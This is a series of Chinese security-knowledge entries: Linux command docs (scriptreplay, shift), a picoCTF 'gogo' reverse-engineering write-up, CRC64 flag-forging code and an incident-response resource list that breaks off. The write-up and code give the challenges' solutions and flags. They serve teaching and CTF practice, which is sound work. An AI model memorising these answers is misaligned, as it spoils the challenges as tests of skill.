## 参考推荐 MITRE-ATT&CK-T1021-001 <https://attack.mitre.org/techniques/T1021/001/> 系统监视器(Sysmon)工具的使用 <https://blog.csdn.net/ducc20180301/article/details/119350200> Windows_API_Tools <https://github.com/Ryze-T/Windows_API_Tools>
sec-knowleage
scriptreplay === 重新播放终端会话的所有操作 ## 补充说明 **scriptreplay** 用于在终端中,根据 `script` 命令记录的终端数据文件和时间日志文件,重现当时用户的所有操作和命令的输出信息。简而言之,重现播放当时终端会话发生的一切信息,而不是重新运行一遍命令。例如,用户当时在输入某条命令时,字符的键入和删除也都会被重现。非常适合用于教程演示场合。而且,在机器 A 上面使用 `script` 命令记录终端操作,可以在机器 B 上面使用 `scriptreplay` 命令重新播放。 ### 语法 ```shell scriptreplay [options] [-t] timingfile [typescript [divisor]] ``` ### 选项 ```shell -t, --timing file # 记录时间日志的文件名称 -s, --typescript file # 记录终端数据信息的日志文件名称 -d, --divisor number # 表示倍速播放,把时间日志文件记录的时间间隔都除以 number # -d 2 表示播放速度是原始输入单条命令的速度的两倍,-d 0.1 表示播放单条命令的速度减慢 10 倍 -m, --maxdelay number # 表示命令之间的最大延迟时间(单位是秒) # -m 2 表示 command.log 中存放的两条命令之间的间隔时间如果大于两秒,则按两秒执行播放 -V, --version # 显示版本信息并退出 -h, --help # 显示帮助文本并退出 ``` ### 参数 * 时间日志文件:存储时间日志信息的文件名称 * 终端数据文件:存储终端数据信息的文件名称 ### 实例 ```shell # 重新播放终端内容,默认第一个参数是时间日志,第二个参数是终端数据文件 scriptreplay time.file command.log # 重新播放终端内容,播放快进速度为 1 ,命令之间最大延时为 2 秒 scriptreplay -d 1 -m 2 -t time.file -s command.log ``` **记录终端内容到文件** ```shell zfb@localhost:~$ script -t 2>time.file -a -f command.log Script started, file is command.log zfb@localhost:~$ echo "hello, world" hello, world zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S") 2020-12-23 20:48:46 zfb@localhost:~$ echo "Bye" Bye zfb@localhost:~$ ls -al total 20 drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 . drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 .. -rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt -rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt -rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log -rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file zfb@localhost:~$ exit Script done, file is command.log zfb@localhost:~$ ``` **重新播放终端内容** ```shell zfb@localhost:~$ scriptreplay -d 1 -m 2 -t time.file -s command.log zfb@localhost:~$ echo "hello, world" hello, world zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S") 2020-12-23 20:48:46 zfb@localhost:~$ echo "Bye" Bye zfb@localhost:~$ ls -al total 20 drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 . drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 .. -rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt -rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt -rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log -rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file zfb@localhost:~$ exit zfb@localhost:~$ ``` 其中,只有命令`scriptreplay -d 1 -m 2 -t time.file -s command.log`是用户输入,其他均为自动呈现(且视觉效果与真实用户的操作一致)。通过查看上面输出的时间`2020-12-23 20:48:46`,可以证明,这是重新播放当时的记录,而非重新执行一遍命令。也就是说,可以把`time.file`和`command.log`文件移动到任意一台支持`scriptreplay`命令的机器上,都可以动态重现命令输入与终端回显。
sec-knowleage
# gogo Category: Reverse Engineering, 110 points ## Description > Hmmm this is a weird file... A binary file was attached. ## Solution Let's run the attached file: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/gogo] └─$ ./enter_password Enter Password: test ``` So we need to find the password. Let's check the disassembly with Ghidra. We can see that there's a function called `checkPassword`: ```c void __regparm1 main.checkPassword(undefined4 param_1,int param_2,uint param_3,undefined param_4) { uint *puVar1; uint i; undefined4 uVar2; int correct_chars; int *in_GS_OFFSET; undefined4 local_40; undefined4 local_3c; undefined4 local_38; undefined4 local_34; undefined4 local_30; undefined4 local_2c; undefined4 local_28; undefined4 local_24; byte local_20 [28]; undefined4 uStack4; puVar1 = (uint *)(*(int *)(*in_GS_OFFSET + -4) + 8); if (register0x00000010 < (undefined *)*puVar1 || (undefined *)register0x00000010 == (undefined *)*puVar1) { uStack4 = 0x80d4b72; uVar2 = runtime.morestack_noctxt(param_1); main.checkPassword(uVar2,param_2,param_3,param_4); return; } if ((int)param_3 < 0x20) { os.Exit(param_1,0); } FUN_08090b18(0); local_40 = 0x38313638; local_3c = 0x31663633; local_38 = 0x64336533; local_34 = 0x64373236; local_30 = 0x37336166; local_2c = 0x62646235; local_28 = 0x39383338; local_24 = 0x65343132; FUN_08090fe0(); i = 0; correct_chars = 0; while( true ) { if (0x1f < (int)i) { if (correct_chars == 0x20) { return; } return; } if ((param_3 <= i) || (0x1f < i)) break; if ((*(byte *)(param_2 + i) ^ *(byte *)((int)&local_40 + i)) == local_20[i]) { correct_chars = correct_chars + 1; } i = i + 1; } runtime.panicindex(); do { invalidInstructionException(); } while( true ); } ``` In this function, we see a loop performing a XOR between two characters and checking them against some expected output. In assembly, it looks like this: ```assembly 0x080d4b18 <+152>: movzx ebp,BYTE PTR [ecx+eax*1] 0x080d4b1c <+156>: cmp eax,0x20 0x080d4b1f <+159>: jae 0x80d4b66 <main.checkPassword+230> 0x080d4b21 <+161>: movzx esi,BYTE PTR [esp+eax*1+0x4] 0x080d4b26 <+166>: xor ebp,esi 0x080d4b28 <+168>: movzx esi,BYTE PTR [esp+eax*1+0x24] 0x080d4b2d <+173>: xchg ebp,eax 0x080d4b2e <+174>: xchg esi,ebx 0x080d4b30 <+176>: cmp al,bl ``` So let's set a breakpoint at `0x080d4b28` and check the different arrays participating in the XOR calculation. We know from the disassembly that the expected number of correct characters is `0x20`, so we'll enter 32 "a"s. We can find our input at `$ecx`: ``` gef> hexdump byte $ecx 32 0x18414260 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0x18414270 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa ``` The XORed values are at `$esp+0x4`: ``` gef> hexdump byte $esp+0x4 32 0x18439f28 38 36 31 38 33 36 66 31 33 65 33 64 36 32 37 64 861836f13e3d627d 0x18439f38 66 61 33 37 35 62 64 62 38 33 38 39 32 31 34 65 fa375bdb8389214e ``` And the expected values are at `$esp+0x24`: ``` gef> hexdump byte $esp+0x24 32 0x18439f48 4a 53 47 5d 41 45 03 54 5d 02 5a 0a 53 57 45 0d JSG]AE.T].Z.SWE. 0x18439f58 05 00 5d 55 54 10 01 0e 41 55 57 4b 45 50 46 01 ..]UT...AUWKEPF. ``` So let's take these two arrays and XOR them to get the correct input: ```python >>> from pwn import * >>> xor(unhex("3836313833366631336533643632376466613337356264623833383932313465"), unhex("4a53475d414503545d025a0a5357450d05005d555410010e4155574b45504601")) b'reverseengineericanbarelyforward' ``` Let's try that as the password: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/gogo] └─$ ./enter_password Enter Password: reverseengineericanbarelyforward ========================================= This challenge is interrupted by psociety What is the unhashed key? ``` Now we need to provide some unhashed key. The value at `$esp+0x4` looked like a hash, and if we Google it we find that it's the MD5 of `goldfish`: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/gogo] └─$ echo -n "goldfish" | md5sum 861836f13e3d627dfa375bdb8389214e - ``` So let's enter that: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/gogo] └─$ { echo "reverseengineericanbarelyforward"; echo "goldfish";} | nc mercury.picoctf.net 48728 Enter Password: ========================================= This challenge is interrupted by psociety What is the unhashed key? Flag is: picoCTF{p1kap1ka_p1c0b187f1db} ``` The flag: `picoCTF{p1kap1ka_p1c0b187f1db}`
sec-knowleage
#include <cstdio> #include <cstdint> uint64_t poly = 0xC96C5795D7870F42; uint64_t table[256]; void generate_table() { for(int i=0; i<256; ++i) { uint64_t crc = i; for(unsigned int j=0; j<8; ++j) { // is current coefficient set? if(crc & 1) { // yes, then assume it gets zero'd (by implied x^64 coefficient of dividend) crc >>= 1; // and add rest of the divisor crc ^= poly; } else { // no? then move to next coefficient crc >>= 1; } } table[i] = crc; } } uint64_t calculate_crc(uint8_t* stream, unsigned int n, uint64_t crc) { for(unsigned int i=0; i<n; ++i) { uint8_t index = stream[i] ^ crc; uint64_t lookup = table[index]; crc >>= 8; crc ^= lookup; } return crc; } char buf1[100] = ": You probably just want the flag. So here it is: CTF{dZXi----------PIUTYMI}. :"; char buf2[] = ": You probably just want the flag. So here it is: CTF{dZXi\xff\x9a\xc3\x25\x99\xee\xb2\x41--PIUTYMI}. :"; uint64_t wantcrc = 0x30d498cbfb871112; int main() { generate_table(); // Set dashes, so that: // wantcrc == calculate_crc(buf1, 80, 0); printf("%lx\n", calculate_crc((uint8_t*)buf2, 80, 0)); }
sec-knowleage
shift === 移动位置参数。 ## 概要 ```shell shift [n] ``` ## 主要用途 - 将位置参数`$n, $n+1...`重命名为`$1, $2...`。 ## 参数 n(可选):大于等于1且小于等于参数个数的整数,默认为1。 ## 返回值 返回成功除非n大于参数个数或n小于1以及其他非法值。 ## 例子 假设我们的脚本文件(test.sh)如下: ```shell #!/usr/bin/env bash # 显示前三个位置参数。 echo "$1 $2 $3" # 移除前两个位置参数,并将$3重命名为$1,之后的以此类推。 shift 2 echo "$1 $2 $3" ``` 在终端执行该脚本: ```shell sh test.sh q w e r t ``` 返回信息如下: ```shell q w e e r t ``` ### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
sec-knowleage
# 应急 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- > 应急离不开调查取证,请配合 [取证](./取证.md) 使用 ## 大纲 * **[威胁情报](#威胁情报)** * [情报中心](#情报中心) * [样本分析检测](#样本分析检测) * [恶意样本查询](#恶意样本查询) * [钓鱼监测](#钓鱼监测) * [暗网监测](#暗网监测) * [URL分析](#url分析) * [IP分析](#ip分析) * [PassiveDNS](#passivedns) * [IOCs](#iocs) * **[系统层面](#系统层面)** * [Rootkit](#rootkit) * [勒索软件](#勒索软件) * **[Web层面](#Web层面)** * [暗链](#暗链) * [webshell后门](#webshell后门) * **[网络层面](#网络层面)** * [DDOS](#ddos) --- **相关文章** - [应急响应日志分析小脚本](https://www.freebuf.com/sectool/223446.html) - [【应急响应】一文了解应急响应中常用的日志收集方法](https://mp.weixin.qq.com/s/ZY3gqly-z-L8XFW9ML5aow) - [容器安全事件排查与响应](https://mp.weixin.qq.com/s/rOOr_wCF4egpV_QlRIbtjQ) **应急案例** - [6.[应急响应]Linux 入侵排查思路 - bmjoker](https://www.cnblogs.com/bmjoker/p/9557033.html) - [Linux应急响应 (一) :SSH 暴力破解](https://www.secpulse.com/archives/76051.html) - [记一次博客被日的分析过程](https://bbs.ichunqiu.com/thread-44743-1-2.html) - [metinfo后台getshell exp](https://bbs.ichunqiu.com/thread-29582-1-3.html) - [一键安装藏隐患,phpStudy 批量入侵的分析与溯源](https://www.anquanke.com/post/id/162787) - [一次入侵应急响应分析](https://www.freebuf.com/articles/network/186071.html) - [Linux入侵取证:从一次应急事件讲起](https://www.freebuf.com/articles/system/50728.html) - [记一次耗时几天的挖矿脚本应急响应](https://blog.fullstackpentest.com/record-a-server-emergency-response.html) - [记录一次企业官网被挂马的排查过程](https://blog.csdn.net/weixin_44578334/article/details/109530118) - [New campaign targeting security researchers](https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/) - [当黑客不讲武德 安全专家也容易被骗](https://paper.seebug.org/1471/) - [A deeper dive into our May 2019 security incident](https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/) - [Abusing cloud services to fly under the radar](https://blog.fox-it.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/) - [回忆一次百转千回的应急响应 | 技术精选0127](https://mp.weixin.qq.com/s/DYaD83Fl-fivHq6CFL6m9g) - [应急响应入门](https://mp.weixin.qq.com/s/8jVcSAf7iO0dWNPv7C7tcA) - [实战 | 记一次网吧挖矿应急响应](https://mp.weixin.qq.com/s/4eMFIsU2M7q3oLusX8On3A) **溯源案例** - [记一次溯源恶意ip45.123.101.251僵尸网络主机的全过程](https://blog.csdn.net/u014789708/article/details/104938252) - [如何通过一封恶意邮件追踪幕后黑客组织](https://paper.seebug.org/945/) - [网络小黑揭秘系列之黑产江湖黑吃黑—中国菜刀的隐形把手](http://www.vuln.cn/7049) - [中国菜刀仿冒官网三百万箱子爆菊记](https://wooyun.js.org/drops/%E4%B8%AD%E5%9B%BD%E8%8F%9C%E5%88%80%E4%BB%BF%E5%86%92%E5%AE%98%E7%BD%91%E4%B8%89%E7%99%BE%E4%B8%87%E7%AE%B1%E5%AD%90%E7%88%86%E8%8F%8A%E8%AE%B0.html) - [投稿文章:记一次2020你懂的活动蓝队溯源历程](https://www.t00ls.net/thread-58204-1-3.html) - [记一次反制追踪溯本求源](https://mp.weixin.qq.com/s/xW2u4s8xCTnLCkpDoK5Yzw) - [追踪活动中相遇CobaltStrike的故事](https://bbs.pediy.com/thread-260923.htm) - [Whitelist Me, Maybe? “Netbounce” Threat Actor Tries A Bold Approach To Evade Detection](https://www.fortinet.com/blog/threat-research/netbounce-threat-actor-tries-bold-approach-to-evade-detection?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+fortinet%2Fblog%2Fthreat-research+%28Fortinet+Threat+Research+Blog%29) - [Fake dnSpy - 当黑客也不讲伍德](https://paper.seebug.org/1812/) - [Asylum Ambuscade: State Actor Uses Compromised Private Ukrainian Military Emails to Target European Governments and Refugee Movement](https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails) - [攻击技术研判 |钓鱼文档攻击利用MSI对象安装Lua环境隐藏后门](https://mp.weixin.qq.com/s/Ugknt6o5vbGLQPzXVFncdQ) - [Operation Dragon Castling: APT group targeting betting companies](https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies/) - [HW防守 | 溯源案例之百度ID层层拨茧](https://mp.weixin.qq.com/s/fOsKCdVuYuYvfFADC1xyFQ) **指南** - [theLSA/emergency-response-checklist](https://github.com/theLSA/emergency-response-checklist) - 应急响应指南 - [Bypass007/Emergency-Response-Notes](https://github.com/Bypass007/Emergency-Response-Notes) - 应急响应实战笔记,一个安全工程师的自我修养。 **资源** - [meirwah/awesome-incident-response](https://github.com/meirwah/awesome-incident-response) - 精选的事件响应工具清单 - [n4ll3ec/ThreatHound](https://github.com/n4ll3ec/ThreatHound) - 一款威胁情报查询工具,用于查询潜在的恶意 IP 或者域名.它结合 MISP 开源威胁情报共享平台作为其后端情报库,当前整合了开源社区69个开源威胁情报数据 feed. - [pandazheng/Threat-Intelligence-Analyst](https://github.com/pandazheng/Threat-Intelligence-Analyst) - 威胁情报,恶意样本分析,开源Malware代码收集 **环境模拟** - [NextronSystems/APTSimulator](https://github.com/NextronSystems/APTSimulator) - 伪装成 APT 受害者 - [G4rb3n/Malbox](https://github.com/G4rb3n/Malbox) - 恶意软件容器靶机 - https://blog.csdn.net/m0_37552052/article/details/111240456 - [DataDog/stratus-red-team](https://github.com/DataDog/stratus-red-team) - Granular, Actionable Adversary Emulation for the Cloud --- ## 威胁情报 ### 情报中心 - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [微步威胁平台](https://x.threatbook.cn/) - [RedQueen安全智能服务平台](https://redqueen.tj-un.com/IntelHome.html) - [IBM情报中心](https://exchange.xforce.ibmcloud.com/) - [奇安信威胁情报中心](https://ti.qianxin.com/) - [AlienVault](https://otx.alienvault.com/) - [VenusEye威胁情报中心](https://www.venuseye.com.cn/) - [ISC SANS威胁检测](https://isc.sans.edu/) - [NTI - 绿盟威胁情报中心](https://nti.nsfocus.com/) - [360威胁情报中心](https://ti.360.net/#/homepage) - [TI - start.me](https://start.me/p/rxRbpo/ti) ### 样本分析检测 - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [TheSecondSun/VTSCAN](https://github.com/TheSecondSun/VTSCAN) - cli 版 VirusTotal - [PolySwarm - Crowdsourced threat detection](https://polyswarm.network/) - [Interactive Online Malware Analysis Sandbox - ANY.RUN](https://app.any.run/) - [Automated Malware Analysis - Joe Sandbox Cloud Basic](https://www.joesandbox.com/) - [360威胁情报中心](https://ti.360.net/) - [VenusEye](https://www.venuseye.vip/) - [anlyz|REM](https://sandbox.anlyz.io/#!/malware-dashboard) - [firmware · ǝɹ - Free Online Firmware Unpacker, Scanner, Analyser - Firmware Genomics/Genome Project - Firmware Vulnerability and Backdoor Discovery - Firmware Mounting, Modification, Loading and Emulation - Embedded and Internet-of-Things Security](http://firmware.re/) - [Free Automated Malware Analysis Service - powered by Falcon Sandbox](https://www.hybrid-analysis.com/) - [AVCaesar](https://avcaesar.malware.lu/) - [Intezer Analyze](https://analyze.intezer.com/#/) - [Jotti's malware scan](https://virusscan.jotti.org/en) - [NetworkTotal - Free Online Network Traffic Scanner](https://www.networktotal.com/index.html) - [OPSWAT MetaDefender Cloud | Vulnerability, CDR and Antivirus APIs](https://metadefender.opswat.com/#!/) - [PDFExaminer: pdf malware analysis](http://www.pdfexaminer.com/) - [Scan Android application - Andrototal](https://andrototal.org/) - [VirSCAN.org-多引擎在线病毒扫描网 v1.02,当前支持 41 款杀毒引擎](http://www.virscan.org/language/zh-cn/) - [腾讯哈勃分析系统](https://habo.qq.com/) - [首页 - 微步在线威胁情报社区](https://x.threatbook.cn/) - [cryptam: office document malware detection and analysis](http://www.cryptam.com/) - [恶意软件分析 & URL链接扫描 免费在线病毒分析平台 | 魔盾安全分析](https://www.maldun.com/analysis/) - [NoDistribute - Online Virus Scanner Without Result Distribution](http://www.nodistribute.com/) - [奇安信威胁情报中心](https://ti.qianxin.com/) - [Free Automated Malware Analysis Service](https://www.reverse.it/) - [ViCheck - Upload Files to Find Embedded Malware](https://vicheck.ca/submitfile.php) - [MalwareBazaar](https://bazaar.abuse.ch/) - [URLhaus](https://urlhaus.abuse.ch/browse/) ### 恶意样本查询 - [Malware Source](https://github.com/mwsrc) - [VirusBay](https://beta.virusbay.io/) - [Koodous](https://koodous.com/) - [Hello there! | apklab.io](https://www.apklab.io/) - [Haruko - Fumik0's Malware Tracker](https://tracker.fumik0.com/) - [CyberCrime](https://cybercrime-tracker.net/) - [ANY.RUN - Interactive Online Malware Sandbox](https://any.run/) - [abuse.ch | Fighting malware and botnets](https://abuse.ch/) - [VX Vault](http://vxvault.net/ViriList.php) - [Malpedia (Fraunhofer FKIE)](https://malpedia.caad.fkie.fraunhofer.de/) - [VirusShare.com](https://virusshare.com/) - [MalShare](https://malshare.com/) - [ytisf/theZoo](https://github.com/ytisf/theZoo) - [Advanced File Analysis System | Valkyrie](https://camas.comodo.com/) --- ### 钓鱼监测 - https://phishstats.info/ - 钓鱼网站收集 - https://www.phishtank.com/ - 钓鱼网站收集 - [x0rz/phishing_catcher](https://github.com/x0rz/phishing_catcher) - 以接近实时的方式捕获可疑的钓鱼域名 --- ### 暗网监测 - [s045pd/DarkNet_ChineseTrading](https://github.com/s045pd/DarkNet_ChineseTrading) - 暗网中文网监控爬虫 --- ### URL分析 - [VirusTotal](https://www.virustotal.com/gui/home/url) - [urlscan.io](https://urlscan.io/) - 网站扫描器 - [Sucuri SiteCheck](https://sitecheck.sucuri.net/) - 免费网站安全检查和恶意软件扫描器 - [Quttera](https://quttera.com/) - 网站安全监控和恶意软件清除 - [魔盾安全分析](https://www.maldun.com/analysis/) - 恶意软件分析 & URL链接扫描 免费在线病毒分析平台 - [微步在线威胁情报社区](https://x.threatbook.cn/) - [Threat Crowd](https://www.threatcrowd.org/) - 开源威胁情报 - [ThreatMiner.org](https://www.threatminer.org/) - 用于威胁情报的数据挖掘系统 - [Cisco Talos Intelligence Group](https://talosintelligence.com/) - 综合威胁情报系统 - [CheckPhish](https://checkphish.ai/domain/avfisher.win) - 免费的URL扫描器和网络钓鱼检测器 - [Alexa](https://www.alexa.com/siteinfo) - 网站流量、统计和分析 - [Domain Dossier - Investigate domains and IP addresses, get owner and registrar information, see whois and DNS records](https://centralops.net/co/DomainDossier.aspx?dom_whois=1&net_whois=1&dom_dns=1) - [Moz](https://moz.com/domain-analysis) - Free Domain SEO Analysis Tool - [Intelligence X](https://intelx.io/) - [RiskIQ Community Edition](https://community.riskiq.com/) --- ### IP分析 **在线查询** - [VirusTotal](https://www.virustotal.com/gui/home/search) - [AbuseIPDB](https://www.abuseipdb.com/) - IP 地址威胁情报库 - [SSLBL](https://sslbl.abuse.ch/) - IP 地址威胁情报库 - [微步在线威胁情报社区](https://x.threatbook.cn/) - [奇安信威胁情报中心](https://ti.qianxin.com/) - [AlienVault](https://otx.alienvault.com/) **相关工具** - [wgpsec/tig](https://github.com/wgpsec/tig) - Threat Intelligence Gathering 威胁情报收集,旨在提高蓝队拿到攻击 IP 后对其进行威胁情报信息收集的效率。 --- ### PassiveDNS Passive DNS 对安全研究非常重要,因为它可以在前期帮助我们构建出目标的基础设施结构,并且可以得到以下三方面的答案 1. 该域名曾经绑定过哪些 IP 2. 这个 IP 有没有其他的域名 3. 该域名最早/最晚什么时候出现 **相关资源** - [CIRCL » Passive DNS](https://www.circl.lu/services/passive-dns/) - [JustinAzoff/bro-pdns](https://github.com/JustinAzoff/bro-pdns) - [建立你自己的Passive DNS收集系统](https://www.freebuf.com/articles/network/103815.html) --- ### IOCs **相关文章** - [从IOC的一些真相谈对其的评价标准](https://mp.weixin.qq.com/s/95jB4DfaXau6NDotNSpwdA) - [Identifying Cobalt Strike team servers in the wild](https://blog.fox-it.com/2019/02/26/identifying-cobalt-strike-team-servers-in-the-wild/) - [渗透测试神器Cobalt Strike服务端存在“空格”特征,可识别在野测试 (含规则)](https://www.secrss.com/articles/8653) **相关资源** - [sroberts/awesome-iocs](https://github.com/sroberts/awesome-iocs) - IOC相关资源的合集 **APT事件** - **相关文章** - [APT攻击:模拟一次网络战过程](https://www.anquanke.com/post/id/103265) - [毒云藤 (APT-C-01) 军政情报刺探者揭露](http://www.freebuf.com/articles/system/185155.html) - [APT10又曝光了,这次是因为?](https://www.secpulse.com/archives/75623.html) - [疑似朝鲜APT组织发起针对学术界目标的钓鱼攻击](https://www.anquanke.com/post/id/167566) - [一场精心策划的针对驱动人生公司的定向攻击活动分析](https://www.freebuf.com/articles/system/192194.html) - [海莲花组织向招聘单位发出应聘请求,并附上简历链接](https://www.freebuf.com/column/194135.html) - ["毒针"行动 - 针对"俄罗斯总统办所属医疗机构"发起的0day攻击](http://blogs.360.cn/post/PoisonNeedles_CVE-2018-15982.html) - [被遗漏的0day ? —APT-C-06组织另一网络武器库分析揭秘](http://blogs.360.cn/post/VBScript_vul_CH.html) - [APT 分析及 TTPs 提取](https://projectsharp.org/2020/02/23/APT%20%E5%88%86%E6%9E%90%E5%8F%8A%20TTPs%20%E6%8F%90%E5%8F%96/) - **资源** - [kbandla/APTnotes](https://github.com/kbandla/APTnotes) - [APTnotes](https://gitee.com/superme/APTnotes) - [CyberMonitor/APT_CyberCriminal_Campagin_Collections](https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections) - [blackorbird/APT_REPORT](https://github.com/blackorbird/APT_REPORT) - [Intrusion Truth We hunt APTs](https://intrusiontruth.wordpress.com/) - [Groups - MITRE ATT&CK™](https://attack.mitre.org/groups/) - [Technique Matrix - Enterprise ATT&CK™](https://attack.mitre.org/matrices/enterprise/) - [Advanced Persistent Threat Groups | FireEye](https://www.fireeye.com/current-threats/apt-groups.html) --- ## 系统层面 **Windows 应急工具** - [travisfoley/dfirtriage](https://github.com/travisfoley/dfirtriage) - 基于 Windows 的事件响应的数字取证工具。 **Linux 应急工具** - [grayddq/GScan](https://github.com/grayddq/GScan) - 在安全事件时进行 CheckList 检测 - [tide-emergency/yingji](https://github.com/tide-emergency/yingji) - 应急相关内容积累 - [0x1997CN/Emergency](https://github.com/0x1997CN/Emergency) - 一个应急响应信息收集的脚本 - [al0ne/LinuxCheck](https://github.com/al0ne/LinuxCheck) - 一个 linux 信息搜集小脚本 主要用于应急响应,在 Debian 或 Centos 下都可使用 **病毒分析工具** - [PCHunter](http://www.xuetr.com) - [火绒剑](https://www.huorong.cn) - [Process Explorer](https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer) - [processhacker](https://processhacker.sourceforge.io/downloads.php) - [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) - [OTL](https://www.bleepingcomputer.com/download/otl/) - [SysInspector](http://download.eset.com.cn/download/detail/?product=sysinspector) **相关文章** - [揭密:被黑客玩坏的svchost进程](https://mp.weixin.qq.com/s/zNi9AkPpP7Fuq37wYN2_Cw) **TTP** 1. 在网络设备上确认下 nat 前后是哪台?不要搞错机器 2. 疑似机器上查端口 3. 疑似机器上查进程 4. 查内网安全设备上的日志 --- ### Rootkit **什么是 Rootkit** Rootkit 是一种特殊的程序(或一组程序),通常与木马、后门等其他恶意程序结合使用。 Rootkit 主要任务是隐藏并长期驻留在感染机器上,从事各类恶意活动,达到高隐藏高持久化目的。 **相关文章** - [【Rootkit 系列研究】序章:悬顶的达摩克利斯之剑](https://mp.weixin.qq.com/s/WoO5sFBiukyNgUQnGHXFZQ) - [【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁](https://mp.weixin.qq.com/s/YE7bt6Bhz2mYYp1n-2vJtQ) - [【Rootkit系列研究】Linux平台的高隐匿、高持久化威胁](https://mp.weixin.qq.com/s/9kuMJVSklAghE3scmC01oQ) - [【Rootkit系列研究】Rootkit检测技术发展现状](https://mp.weixin.qq.com/s/MLg6_E5xSK9CS2LZiv6jYA) - [​【Rootkit系列研究】Windows平台高隐匿、高持久化威胁(二)](https://mp.weixin.qq.com/s/MG-CP9thRODpgEwZWSf0dA) **Rootkit 检测工具** - [chkrootkit](http://www.chkrootkit.org/) - 本地检查 rootkit 的工具 ```bash wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz tar zxvf chkrootkit.tar.gz cd chkrootkit-* make sense ./chkrootkit ``` - [Rootkit Hunter](http://rkhunter.sourceforge.net/) - 查找 rootkit 的工具 ```bash wget https://svwh.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz tar -zxvf rkhunter-1.4.6.tar.gz cd rkhunter-1.4.6 ./installer.sh --install rkhunter -c ``` - [process_list](https://security.tencent.com/index.php/opensource/detail/16) - 隐藏进程检测工具 - [dgoulet/kjackal](https://github.com/dgoulet/kjackal) - Linux Rootkit Scanner - [nbulischeck/tyton](https://github.com/nbulischeck/tyton) - Kernel-Mode Rootkit Hunter - [bytedance/Elkeid](https://github.com/bytedance/Elkeid) - Elkeid是一个云原生的基于主机的安全(入侵检测与风险识别)解决方案。 - [qilingframework/qiling](https://github.com/qilingframework/qiling) - 一个高级二进制仿真框架,能够模拟多平台,多架构的运行环境,通过类似于沙箱的环境运行 Rootkit,并且记录 Rootkit 运行过程中的行为。这为恶意Rootkit 的检测和分析提供了一种全新的思路。传统沙箱对恶意软件的检测很难达到这种细粒度的监控效果。 - [Gui774ume/ebpfkit-monitor](https://github.com/Gui774ume/ebpfkit-monitor) - 该工具可用于静态分析 eBPF 字节码或在运行时监控可疑的 eBPF 活动 --- ### DLL劫持 **相关工具** - [cyberark/DLLSpy](https://github.com/cyberark/DLLSpy) - DLL Hijacking Detection Tool --- ### 勒索软件 - [企业中了勒索病毒该怎么办?可以解密吗?](https://www.freebuf.com/articles/es/206199.html) - [勒索解密工具整理篇](https://mp.weixin.qq.com/s/T6zSWZ-qMit-8gR4Itmknw) **识别样本** - [The No More Ransom Project](https://www.nomoreransom.org/zht_Hant/index.html) - [ID Ransomware](https://id-ransomware.malwarehunterteam.com/) - [Ransomware-Galerie](https://www.botfrei.de/de/ransomware/galerie.html) - [VenusEye 勒索病毒搜索引擎](https://lesuo.venuseye.com.cn/) - [安全卫士勒索病毒专题](https://lesuobingdu.360.cn/) **解密工具** - [jiansiting/Decryption-Tools: Decryption-Tools](https://github.com/jiansiting/Decryption-Tools) - 日常搜集的勒索病毒解密工具的汇总 - [Emsisoft: Free Ransomware Decryption Tools](https://www.emsisoft.com/ransomware-decryption-tools/free-download) - 免费的勒索解密工具 --- ## Web层面 ### 暗链 **Tips** 1. 在整个网站目录下面搜索关键字 spider 来定位黑链,因为直接访问黑链链接发现并不存在,而从搜索引擎去访问的时候却存在,说明黑链文件判断了访问的来源是否是搜索引擎,而一般这种做法就是来判断 UA 是否来自搜索引擎,关键字就是 spider,搜索后找到黑链文件 2. 搜索引擎 : `黑产关键字+site:"网站域名"`,查看更多 [黑产seo关键词](https://github.com/No-Github/AboutSecurity/blob/master/Dic/Regular/seo/seo_word.txt) 3. 用工具批量爬取网站外链查看有无关键字 **检测工具** - [heikanet/dc_find](https://github.com/heikanet/dc_find) - [友情链接查询,友情链接检测](http://link.chinaz.com/) - [网站被黑检测](http://s.tool.chinaz.com/Tools/webcheck.aspx) - [云悉监测验证工具](http://check.yunsee.cn/) **相关文章** - [关于黑产暗链的分析与看法](https://mp.weixin.qq.com/s/wAGd3Wu5QoqjYFhh2WdAHw) - [Dark_chain_detection](https://github.com/7ym0n/security/blob/master/Web/Dark_chain_detection.md) - [黑产相关信息挖掘初探学习笔记](https://blog.fullstackpentest.com/black-hat-seo-preliminary-study.html) - 